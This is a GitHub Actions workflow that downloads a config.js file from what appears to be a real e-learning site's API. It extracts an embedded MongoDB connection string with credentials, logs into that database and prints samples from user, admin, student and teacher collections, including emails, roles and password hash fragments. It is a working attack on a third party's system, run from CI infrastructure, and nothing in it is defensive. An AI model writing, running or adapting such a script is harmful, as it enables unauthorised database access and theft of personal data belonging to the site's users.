name: mongoatlas on: [workflow_dispatch] jobs: m: runs-on: ubuntu-latest steps: - run: | set +e pip install -q pymongo dnspython 2>/dev/null CFG=$(curl -sk --max-time 25 https://elearning-api.groupe-madia.cm/config/config.js) URI=$(echo "$CFG" | grep -oP 'mongodb\+srv://[^"'"'"'\s]+' | head -1) echo "uri_found=$([ -n "$URI" ] && echo yes || echo no) host=$(echo "$URI" | sed -E 's|.*@([^/]+)/.*|\1|')" export URI python3 - <<'PY' import os, pymongo, json uri=os.environ["URI"] try: c=pymongo.MongoClient(uri, serverSelectionTimeoutMS=20000, tls=True) print("dbs:", c.list_database_names()) db=c["elearning-pl"] cols=db.list_collection_names() print("collections_count:", len(cols)) print("sample_cols:", cols[:20]) for name in cols: low=name.lower() if any(k in low for k in ("user","admin","account","auth","employe","etudiant","student","teacher")): try: n=db[name].count_documents({}) print("== ", name, "count=", n) for d in db[name].find({}, {"password":1,"email":1,"username":1,"name":1,"role":1,"roles":1}).limit(3): out={} for k,v in d.items(): if k=="_id": continue if k in ("password","hash","pass"): out[k]=str(v)[:14]+"..." else: out[k]=v print(" ", json.dumps(out, default=str)[:200]) except Exception as e: print("err", name, str(e)[:80]) c.close() except Exception as e: print("CONNECT_FAIL:", str(e)[:200]) PY echo "DONE" exit 0